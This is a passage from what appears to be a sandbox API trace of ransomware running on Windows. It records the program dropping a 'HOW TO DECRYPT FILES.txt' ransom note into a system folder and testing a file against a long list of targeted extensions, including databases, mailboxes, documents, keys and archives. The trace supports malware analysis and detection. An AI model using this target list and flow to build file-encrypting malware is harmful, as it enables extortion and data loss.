ftCreationTime.dwLowDateTime=0x2ff7e60, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2ff7e60, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3044121, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x36f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.ni.exe", cAlternateFileName="NARRAT~1.EXE")) returned 1 [0111.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.929] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Narrator.ni.exe") returned -1 [0111.929] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Narrator.ni.exe") returned -1 [0111.929] lstrcmpiA (lpString1="", lpString2="Narrator.ni.exe") returned -1 [0111.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\*.*") returned="*.*" [0111.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\" [0111.929] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\") returned="" [0111.929] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\HOW TO DECRYPT FILES.txt" [0111.929] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\narrator\\4cc02fad33053737088d4c18267ca0a0\\how to decrypt files.txt")) returned 0xffffffff [0111.929] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\narrator\\4cc02fad33053737088d4c18267ca0a0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.930] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.932] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.932] CloseHandle (hObject=0x90) returned 1 [0111.932] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\", lpString2="Narrator.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe" [0111.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.ems") returned 0 [0111.932] lstrlenA (lpString="*.ems") returned 5 [0111.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.db") returned 0 [0111.932] lstrlenA (lpString="*.db") returned 4 [0111.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.dbf") returned 0 [0111.932] lstrlenA (lpString="*.dbf") returned 5 [0111.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.myox") returned 0 [0111.932] lstrlenA (lpString="*.myox") returned 6 [0111.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.myo") returned 0 [0111.933] lstrlenA (lpString="*.myo") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbw") returned 0 [0111.933] lstrlenA (lpString="*.qbw") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbb") returned 0 [0111.933] lstrlenA (lpString="*.qbb") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbm") returned 0 [0111.933] lstrlenA (lpString="*.qbm") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbo") returned 0 [0111.933] lstrlenA (lpString="*.qbo") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbx") returned 0 [0111.933] lstrlenA (lpString="*.qbx") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qba") returned 0 [0111.933] lstrlenA (lpString="*.qba") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qby") returned 0 [0111.933] lstrlenA (lpString="*.qby") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qbj") returned 0 [0111.933] lstrlenA (lpString="*.qbj") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.ofx") returned 0 [0111.933] lstrlenA (lpString="*.ofx") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.qif") returned 0 [0111.933] lstrlenA (lpString="*.qif") returned 5 [0111.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mye") returned 0 [0111.934] lstrlenA (lpString="*.mye") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mbox") returned 0 [0111.934] lstrlenA (lpString="*.mbox") returned 6 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.eml") returned 0 [0111.934] lstrlenA (lpString="*.eml") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.pst") returned 0 [0111.934] lstrlenA (lpString="*.pst") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.ost") returned 0 [0111.934] lstrlenA (lpString="*.ost") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.idx") returned 0 [0111.934] lstrlenA (lpString="*.idx") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.dbx") returned 0 [0111.934] lstrlenA (lpString="*.dbx") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.sql") returned 0 [0111.934] lstrlenA (lpString="*.sql") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mdb") returned 0 [0111.934] lstrlenA (lpString="*.mdb") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.fdb") returned 0 [0111.934] lstrlenA (lpString="*.fdb") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.wab") returned 0 [0111.934] lstrlenA (lpString="*.wab") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.dat") returned 0 [0111.934] lstrlenA (lpString="*.dat") returned 5 [0111.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.txt") returned 0 [0111.935] lstrlenA (lpString="*.txt") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.jpeg") returned 0 [0111.935] lstrlenA (lpString="*.jpeg") returned 6 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.jpg") returned 0 [0111.935] lstrlenA (lpString="*.jpg") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.png") returned 0 [0111.935] lstrlenA (lpString="*.png") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.php") returned 0 [0111.935] lstrlenA (lpString="*.php") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.cs") returned 0 [0111.935] lstrlenA (lpString="*.cs") returned 4 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.cpp") returned 0 [0111.935] lstrlenA (lpString="*.cpp") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.rar") returned 0 [0111.935] lstrlenA (lpString="*.rar") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.zip") returned 0 [0111.935] lstrlenA (lpString="*.zip") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.html") returned 0 [0111.935] lstrlenA (lpString="*.html") returned 6 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.htm") returned 0 [0111.935] lstrlenA (lpString="*.htm") returned 5 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.xlsx") returned 0 [0111.935] lstrlenA (lpString="*.xlsx") returned 6 [0111.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.xls") returned 0 [0111.936] lstrlenA (lpString="*.xls") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mp4") returned 0 [0111.936] lstrlenA (lpString="*.mp4") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.ppt") returned 0 [0111.936] lstrlenA (lpString="*.ppt") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.pptx") returned 0 [0111.936] lstrlenA (lpString="*.pptx") returned 6 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.doc") returned 0 [0111.936] lstrlenA (lpString="*.doc") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.dot") returned 0 [0111.936] lstrlenA (lpString="*.dot") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.docx") returned 0 [0111.936] lstrlenA (lpString="*.docx") returned 6 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.7z") returned 0 [0111.936] lstrlenA (lpString="*.7z") returned 4 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.tar") returned 0 [0111.936] lstrlenA (lpString="*.tar") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.bz2") returned 0 [0111.936] lstrlenA (lpString="*.bz2") returned 5 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.gz") returned 0 [0111.936] lstrlenA (lpString="*.gz") returned 4 [0111.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mkv") returned 0 [0111.937] lstrlenA (lpString="*.mkv") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.eml") returned 0 [0111.937] lstrlenA (lpString="*.eml") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.msg") returned 0 [0111.937] lstrlenA (lpString="*.msg") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.edb") returned 0 [0111.937] lstrlenA (lpString="*.edb") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.accdb") returned 0 [0111.937] lstrlenA (lpString="*.accdb") returned 7 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.odb") returned 0 [0111.937] lstrlenA (lpString="*.odb") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.java") returned 0 [0111.937] lstrlenA (lpString="*.java") returned 6 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.asm") returned 0 [0111.937] lstrlenA (lpString="*.asm") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.pfx") returned 0 [0111.937] lstrlenA (lpString="*.pfx") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.pem") returned 0 [0111.937] lstrlenA (lpString="*.pem") returned 5 [0111.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.p12") returned 0 [0111.938] lstrlenA (lpString="*.p12") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.gpg") returned 0 [0111.938] lstrlenA (lpString="*.gpg") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.vsd") returned 0 [0111.938] lstrlenA (lpString="*.vsd") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.odg") returned 0 [0111.938] lstrlenA (lpString="*.odg") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.raw") returned 0 [0111.938] lstrlenA (lpString="*.raw") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.nef") returned 0 [0111.938] lstrlenA (lpString="*.nef") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.svg") returned 0 [0111.938] lstrlenA (lpString="*.svg") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.psd") returned 0 [0111.938] lstrlenA (lpString="*.psd") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.vmx") returned 0 [0111.938] lstrlenA (lpString="*.vmx") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.vmdk") returned 0 [0111.938] lstrlenA (lpString="*.vmdk") returned 6 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.vdi") returned 0 [0111.938] lstrlenA (lpString="*.vdi") returned 5 [0111.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.lay6") returned 0 [0111.939] lstrlenA (lpString="*.lay6") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mpeg") returned 0 [0111.939] lstrlenA (lpString="*.mpeg") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.djvu") returned 0 [0111.939] lstrlenA (lpString="*.djvu") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.tiff") returned 0 [0111.939] lstrlenA (lpString="*.tiff") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.backup") returned 0 [0111.939] lstrlenA (lpString="*.backup") returned 8 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.pdf") returned 0 [0111.939] lstrlenA (lpString="*.pdf") returned 5 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.cert") returned 0 [0111.939] lstrlenA (lpString="*.cert") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.docm") returned 0 [0111.939] lstrlenA (lpString="*.docm") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.xlsm") returned 0 [0111.939] lstrlenA (lpString="*.xlsm") returned 6 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.dwg") returned 0 [0111.939] lstrlenA (lpString="*.dwg") returned 5 [0111.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.nd") returned 0 [0111.940] lstrlenA (lpString="*.nd") returned 4 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.tlg") returned 0 [0111.940] lstrlenA (lpString="*.tlg") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.lgb") returned 0 [0111.940] lstrlenA (lpString="*.lgb") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mov") returned 0 [0111.940] lstrlenA (lpString="*.mov") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.xdw") returned 0 [0111.940] lstrlenA (lpString="*.xdw") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.ods") returned 0 [0111.940] lstrlenA (lpString="*.ods") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.wav") returned 0 [0111.940] lstrlenA (lpString="*.wav") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.mp3") returned 0 [0111.940] lstrlenA (lpString="*.mp3") returned 5 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.aiff") returned 0 [0111.940] lstrlenA (lpString="*.aiff") returned 6 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.flac") returned 0 [0111.940] lstrlenA (lpString="*.flac") returned 6 [0111.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.m4a") returned 0 [0111.940] lstrlenA (lpString="*.m4a") returned 5 [0111.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\Narrator.ni.exe", pszSpec="*.csv") returned 0 [0111.941] lstrlenA (lpString="*.csv") returned 5 [0111.941] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff7e60, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2ff7e60, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3044121, ftLastWriteTime.dwHighDateTime=0x1cb8930, 